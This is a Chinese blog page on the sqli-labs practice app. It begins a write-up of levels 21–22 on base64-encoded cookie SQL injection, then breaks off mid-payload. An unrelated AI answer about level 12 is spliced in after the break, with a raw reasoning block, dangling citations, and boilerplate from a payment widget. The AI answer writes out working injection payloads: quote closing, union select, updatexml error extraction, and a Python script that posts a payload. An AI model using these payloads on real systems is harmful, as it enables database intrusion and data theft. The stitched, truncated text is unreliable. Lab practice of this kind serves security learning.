sqli-labs第二十一和二十二关(加密cookie注入)

本文介绍了在sqli-labs的第21和22关中如何处理加密cookie注入问题。通过观察到加密方式为Base64,作者演示了解密过程并利用Burp Suite进行注入测试。通过尝试闭合方法,成功找出列数,完成了这两关的挑战。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
进入到第21关,登录admin,发现这关还是cookie注入,只不过cookie和上一关有点不同,被加密了,于是将YWRtaW4复制下来,找一个加解密工具解密,由于加密未设偏移量啥的,所以很轻松就能发现使用的是base64加密在这里插入图片描述做到这里的话,思路和上一关一样了

在这里插入图片描述使用burp抓包,并将cookie后加个n
在这里插入图片描述页面回显错误
在这里插入图片描述寻找闭合,将cookie修改为YWRtaW4nKSM=,即base64加密后的admin’)#,结果如上图,闭合成功
在这里插入图片描述YWRtaW4nKSBvcm

<think>嗯,用户现在在问SQLi-Labs第十二的解法或提示。首先,我需要回忆一下第十二的特点。根据之前的经验,SQLi-Labs的每个卡通常涉及不同类型的SQL注入,比如GET或POST请求,不同的参数处理方式,或者特定的过滤防护措施。用户之前可能已经完成了前面的卡,所以第十二可能比之前的更难,或者引入了新的挑战。 根据用户提供的引用内容,之前的卡如第四、第七涉及到联合查询注入文件导出操作,比如使用`union select`结合`group_concat`获取表名,或者`into outfile`导出数据。第七还提到了文件操作的函数需要配置`secure_file_priv`。这些引用可能提示第十二可能涉及类似的注入技术,但可能有不同的参数处理方式,比如POST请求或不同的注入点类型。 首先,我需要确认第十二的具体设置。通常,第十二可能是一个POST类型的注入,比如基于报错的注入或者盲注。例如,可能是一个登录表单,用户需要利用注入绕过认证或提取数据。根据用户提供的引用,第七使用了文件导出,而第四是联合查询,但第十二可能有所不同。 然后,用户提供的引用中有于爆库名、表名的技术,如使用`extractvalue`函数进行报错注入,这可能在第十二中适用。比如,如果注入点存在报错回显,可以利用报错注入来获取信息。此外,联合查询注入需要确定列数,可能需要通过`order by`来测试。 另外,引用中提到了`into outfile`的使用,但第十二可能涉及到字符转义或闭合问题。例如,输入参数可能被包裹在特定的符号中,如双引号括号,导致需要正确闭合才能执行注入。例如,如果参数处理是`"$id"`,那么注入时需要闭合双引号,并处理可能的括号。 接下来,考虑用户可能需要具体的步骤。比如,确定注入点类型(字符型还是数字型)、测试闭合方式、使用联合查询或报错注入。例如,如果输入被包裹在双引号括号中,如`("$id")`,那么注入可能需要类似`")`来闭合,然后添加恶意代码。 同时,用户可能遇到的障碍包括如何正确闭合引号括号,如何绕过过滤,或者如何确定可用的列数。例如,使用`") order by 3--+`来测试列数,然后进行联合查询,或者使用报错函数如`updatexml`或`extractvalue`来提取数据。 另外,需要注意是否有过滤函数,比如对`union select`或空格的处理,可能需要使用注释符或内联注释绕过。例如,使用`/**/`代替空格,或者使用`%a0`作为空格的替代。 根据引用[3]中的例子,报错注入使用了`extractvalue`函数,这可能适用于第十二。例如,构造如`" or extractvalue(1, concat(0x7e, (select database()))) --+`这样的注入语句,触发数据库错误并返回信息。 最后,用户可能需要导出文件,但需要确认`secure_file_priv`的设置是否允许写入,如引用[4]所述。但在第十二中,可能不需要文件导出,而是侧重于通过注入获取数据。 总结可能的步骤:1. 确定注入点类型闭合方式;2. 测试列数;3. 使用联合查询或报错注入获取信息;4. 提取数据库名、表名、列名数据。</think>根据SQLi-Labs第十二的POST型注入特点常见解法,以下是分步解析: ### 第十二解题思路 #### 1. 确定注入类型 本为**POST请求**,参数使用双引号+括号包裹:`("$id")`。测试闭合方式时需使用`")`闭合原始语句[^4]。 #### 2. 构造闭合语句 尝试在用户名或密码输入框中注入: ```sql admin") or 1=1 --+ ``` 若成功绕过登录,说明闭合正确。 #### 3. 联合查询注入 **(1) 确定列数** ```sql admin") order by 3 --+ ``` 当`order by 4`报错时,说明共3列。 **(2) 获取回显位** ```sql admin") union select 1,2,3 --+ ``` 观察页面显示数字23的位置用于回显。 **(3) 提取数据库信息** ```sql admin") union select 1,database(),version() --+ ``` 回显当前数据库名版本[^1]。 #### 4. 报错注入(备用方案) 若联合查询被过滤,使用`updatexml()`: ```sql admin") and updatexml(1,concat(0x7e,(select user())),1) --+ ``` 通过报错信息获取当前用户[^3]。 ```python # 示例请求代码(Python requests) import requests url = "http://localhost/sqli-labs/Less-12/" data = {"uname": 'admin") union select 1,@@version,3 --+', "passwd": "test"} response = requests.post(url, data=data) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值